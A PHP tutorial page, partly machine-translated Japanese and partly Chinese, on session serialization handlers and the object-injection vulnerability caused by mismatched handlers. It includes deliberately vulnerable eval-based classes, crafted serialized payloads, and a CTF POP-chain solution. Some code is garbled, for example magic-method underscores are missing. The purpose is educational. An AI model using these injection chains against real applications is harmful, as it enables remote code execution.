PHPのSESSIONデシリアライズの使い方の詳しい説明-PHPチュートリアル-php.cn

今回は、PHPのSESSIONデシリアライズの使用方法について詳しく説明します。PHPのSESSIONデシリアライズを使用する際の注意点は何ですか?以下は実際のケースです。

php.ini には 3 つの設定項目があります:

session.save_path="" -- セッションのストレージパスを設定します。

session.save_handler="" -- 必要に応じて、ユーザー定義のストレージ関数を設定します。 use この関数は、PHP の組み込みセッションストレージメカニズム (データベースなど) の外部で使用できます

session.auto_start boolen - セッションモジュールがリクエストの開始時にセッションを開始するかどうかを指定します。開始しない場合のデフォルトは 0 です
session.serialize_handler 文字列 - 定義に使用シリアル化/逆シリアル化するプロセッサの名前。デフォルトでは、php が使用されます。上記のオプションは、PHP のセッションストレージとシーケンスストレージに関連しています。
xampp コンポーネントを使用したインストールでは、上記の設定項目は次のように設定されます:

session.save_path="D:xampptmp" は、すべてのセッションファイルが xampp/tmp の下に保存されることを示します
session.save_handler=files は、セッションファイルが保存されることを示しますファイルストレージに基づいています

session.auto_start=0 はセッションがデフォルトで開始されないことを示します

session.serialize_handler=php はセッションのデフォルトのシリアル化エンジンが php シリアル化エンジンを使用することを示します
上記の設定では、session.serialize_handler はセッションシーケンスエンジンを設定するには、デフォルトの PHP エンジンに加えて、エンジンごとに対応するセッションの保存方法が異なります。

php_binary: 保存方法は、キー名の長さに相当するASCII文字+キー名+serialize()関数でシリアル化された値
php: 保存方法は、キー名+縦棒+シリアル化された値Serialize()関数による処理

php_serialize(php>5.5.4)の値: 保存方法は、serialize()関数でシリアル化した値です。

PHPで変更したい場合はデフォルトでPHPエンジンが使用されます。他のエンジンに追加する場合は、コード ini_set ('session.serialize_handler', '設定する必要があるエンジン'); を追加するだけです。サンプルコードは以下の通りです。

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
// do something

ログイン後にコピー

保存機構

phpのセッション内容はメモリ上には置かれず、ファイル形式で保存されます。保存方法は設定項目session.save_handlerによって決まります。 . の場合、デフォルトではファイルとして保存されます。
保存されるファイルはsess_sessionidに基づいた名前が付けられ、ファイルの内容はセッション値のシーケンス以降の内容になります。

環境が xampp であると仮定すると、デフォルトの構成は上記のようになります。

デフォルト設定では:

<?php
session_start()
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

ログイン後にコピー

最後のセッションは次のように保存され、表示されます:

PHPSESSIDの値はjo86ud4jfvu81mbg28sl2s56c2であり、sess_jo86ud4jfvu81mbg28sl2s56c2であることがわかります。の内容となります。ファイルは名前| s:6:"spoock"; です。 name はキー値、s:6:"spoock"; はserialize("spoock") の結果です。

php_serialize エンジンの下:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

ログイン後にコピー

SESSION ファイルの内容は a:1:{s:4:"name";s:6:"spoock";} です。 php_serialize をシリアル化に使用する場合、a:1 が追加されます。同時に、php_serialize を使用すると、セッション内のキーと値の両方がシリアル化されます。

php_binary エンジンの下:

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_binary&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump();
?>

ログイン後にコピー

SESSION ファイルの内容は names:6:"spoock"; です。名前の長さは 4 なので、4 は ASCII テーブルの EOT に対応します。 php_binary の格納規則によると、最後のものは names:6:"spoock"; です。 (Web ページ上で ASCII 値 4 の文字が表示できないことに突然気づきました。ASCII テーブルを自分で確認してください。)

シリアル化は簡単に使用できます

test.php

<?php
class syclover{
        var $func="";
        function construct() {
            $this->func = "phpinfo()";
        }
        function wakeup(){
            eval($this->func);
        }
}
unserialize($_GET[&#39;a&#39;]);
?>

ログイン後にコピー

11日シリアル化された受信パラメータの行。特定の文字列を渡し、それを syclover の例に逆シリアル化してから、eval() メソッドを実行できます。 localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";} にアクセスします。逆シリアル化によって取得されるコンテンツは次のとおりです。

object(syclover)[1]
  public &#39;func&#39; => string &#39;echo "spoock";&#39; (length=14)

ログイン後にコピー

最後のページ出力は spoock で、定義した echo "spoock" メソッドが最終的に実行されたことを示します。

これは単純なシリアル化の脆弱性のデモンストレーションです

PHPセッションにおけるシリアル化の危険性

PHP中的Session的实现是没有的问题，危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样，会导致数据无法正确第反序列化。通过精心构造的数据包，就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION[&#39;ryat&#39;] = &#39;|O:11:"PeopleClass":0:{}&#39;;

ログイン後にコピー

上述的$_SESSION的数据使用php_serialize，那么最后的存储的内容就是

a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}。

ログイン後にコピー

但是我们在进行读取的时候，选择的是php，那么最后读取的内容是:

array (size=1)
  &#39;a:1:{s:6:"spoock";s:24:"&#39; => 
    object(PHP_Incomplete_Class)[1]
      public &#39;PHP_Incomplete_Class_Name&#39; => string &#39;PeopleClass&#39; (length=11)

ログイン後にコピー

这是因为当使用php引擎的时候，php引擎会以|作为作为key和value的分隔符，那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key，将O:11:"PeopleClass":0:{}作为value，然后进行反序列化，最后就会得到PeopleClas这个类。
这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP Session序列话漏洞的原因。

实际利用

存在s1.php和us2.php，2个文件所使用的SESSION的引擎不一样，就形成了一个漏洞、
s1.php，使用php_serialize来处理session

<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION["spoock"]=$_GET["a"];

ログイン後にコピー

us2.php,使用php来处理session

ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
session_start();
class lemon {
    var $hi;
    function construct(){
        $this->hi = &#39;phpinfo();&#39;;
    }
    
    function destruct() {
         eval($this->hi);
    }
}

ログイン後にコピー

当访问s1.php时，提交如下的数据：

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。
此时访问us2.php时，页面输出，spoock成功执行了我们构造的函数。因为在访问us2.php时，程序会按照php来反序列化SESSION中的数据，此时就会反序列化伪造的数据，就会实例化lemon对象，最后就会执行析构函数中的eval()方法。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下：

class.php
<?php
highlight_string(file_get_contents(basename($_SERVER[&#39;PHP_SELF&#39;])));//show_source(FILE);
class foo1{        public $varr;        function construct(){                $this->varr = "index.php";        }        function destruct(){                if(file_exists($this->varr)){                        echo "<br>文件".$this->varr."存在<br>";                }                echo "<br>这是foo1的析构函数<br>";        }}
class foo2{        public $varr;        public $obj;        function construct(){                $this->varr = &#39;1234567890&#39;;                $this->obj = null;        }        function toString(){                $this->obj->execute();                return $this->varr;        }        function desctuct(){                echo "<br>这是foo2的析构函数<br>";        }}
class foo3{        public $varr;        function execute(){                eval($this->varr);        }        function desctuct(){                echo "<br>这是foo3的析构函数<br>";        }}
?>index.php
<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php&#39;);
require("./class.php");
session_start();
$obj = new foo1();
$obj->varr = "phpinfo.php";
?>

ログイン後にコピー

通过代码发现，我们最终是要通过foo3中的execute来执行我们自定义的函数。
那么我们首先在本地搭建环境，构造我们需要执行的自定义的函数。如下：
myindex.php

<?phpclass foo3{        public $varr=&#39;echo "spoock";&#39;;        function execute(){                eval($this->varr);        }}class foo2{        public $varr;        public $obj;        function construct(){                $this->varr = &#39;1234567890&#39;;                $this->obj = new foo3();        }        function toString(){                $this->obj->execute();                return $this->varr;        }}
class foo1{        public $varr;        function construct(){                $this->varr = new foo2();        }}
$obj = new foo1();print_r(serialize($obj));?>

ログイン後にコピー

在foo1中的构造函数中定义$varr的值为foo2的实例，在foo2中定义$obj为foo3的实例，在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

ログイン後にコピー

这样当上面的序列话的值写入到服务器端，然后再访问服务器的index.php，最终就会执行我们预先定义的echo "spoock";的方法了。
写入的方式主要是利用PHP中Session Upload Progress来进行设置，具体为，在上传文件时，如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量，就可以将filename的值赋值到session中

最后就会将文件名写入到session中，具体的实现细节可以参考PHP手册。
但是我在进行本地测试的时候，发现无法实现安恒这道题目所实现的效果，但是最终的原理是一样的。

总结

通过对PHP中的SESSION的分析，对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识，也有助于程序员加强在PHP中的SESSION机制的理解。

相信看了本文案例你已经掌握了方法，更多精彩请关注php中文网其它相关文章！